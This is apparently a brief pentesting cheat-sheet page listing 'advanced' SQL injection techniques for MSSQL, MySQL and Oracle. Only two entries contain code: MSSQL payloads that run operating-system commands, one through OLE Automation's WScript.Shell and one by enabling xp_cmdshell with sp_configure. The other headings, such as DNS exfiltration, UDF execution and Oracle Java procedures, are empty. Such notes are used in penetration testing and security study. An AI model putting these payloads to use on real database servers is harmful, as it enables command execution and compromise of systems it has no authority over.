โ๏ธForcefully Generate Errors
Below are some advanced and rare SQL injection techniques for MSSQL, MySQL, and Oracle. These techniques go beyond the basic ones and exploit specific features and configurations of the databases.
MSSQL
OLE Automation Procedures
DECLARE @Object INT;
EXEC sp_OACreate 'WScript.Shell', @Object OUTPUT;
EXEC sp_OAMethod @Object, 'Run', NULL, 'cmd.exe /c whoami > C:\output.txt';----------------------------------------------------------------
XP_CMD Shell with Privilege Escalation
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';----------------------------------------------------------------
Linked Servers
----------------------------------------------------------------
MySQL
UDF (User Defined Functions) for Remote Command Execution
----------------------------------------------------------------
DNS Exfiltration
----------------------------------------------------------------
Binary Log Injections
----------------------------------------------------------------
Oracle
Java Procedures for Command Execution
----------------------------------------------------------------
UTL_FILE Package for File Access
----------------------------------------------------------------
DBMS_SCHEDULER for Job Execution
Last updated